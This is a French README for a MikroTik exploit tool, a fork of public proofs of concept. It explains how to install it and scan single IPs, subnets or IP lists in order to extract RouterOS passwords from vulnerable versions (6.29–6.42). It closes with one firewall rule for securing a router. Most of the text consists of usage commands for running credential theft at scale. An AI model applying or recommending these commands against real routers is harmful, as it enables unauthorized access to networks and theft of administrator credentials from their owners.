Exploit Mikrotik

Scannez et exportez le mot de passe RouterOS

vous permet de scanner un sous-réseau IPv4 en boucle avec différents ports.

Installation

installer python3

Ubuntu/Debian:

$ apt-get install python3

installer le gestionnaire de paquets Python3

Ubuntu/Debian:

$ apt-get install python3-pip

Mac

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

export PATH=/usr/local/bin:/usr/local/sbin:$PATH

$ brew install python3

Installer les dépendances

$ pip3 install ipcalc
$ pip3 install requests

Cloner le dépôt

$ git clone https://github.com/miladdiaz/MikrotikExploit
$ cd MikrotikExploit

Comment utiliser

scanner une seule IP : Dans le répertoire racine du script

$ python3 loop.py 192.168.1.10

scanner avec un port différent

$ python3 loop.py 192.168.1.10 -p 8282

scanner une plage d'IP

$ python3 loop.py 192.168.1.0/24

scanner une liste d'IP depuis un fichier

$ python3 loop.py -f list.txt

Ne fonctionne pas sur certaines versions

toutes les versions de 6.29 (date de sortie : 2015/28/05) à 6.42 (date de sortie : 2018/04/20)

Sécurisez votre routeur

Mettez à jour RouterOS et limitez la connexion Winbox

ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

Copyright

ce dépôt est un fork de BigNerd95/Chimay-Red et BasuCert/WinboxPoC avec quelques modifications pour le scan de sous-réseau, l'utilisation d'un port différent et d'un fichier de liste d'IP.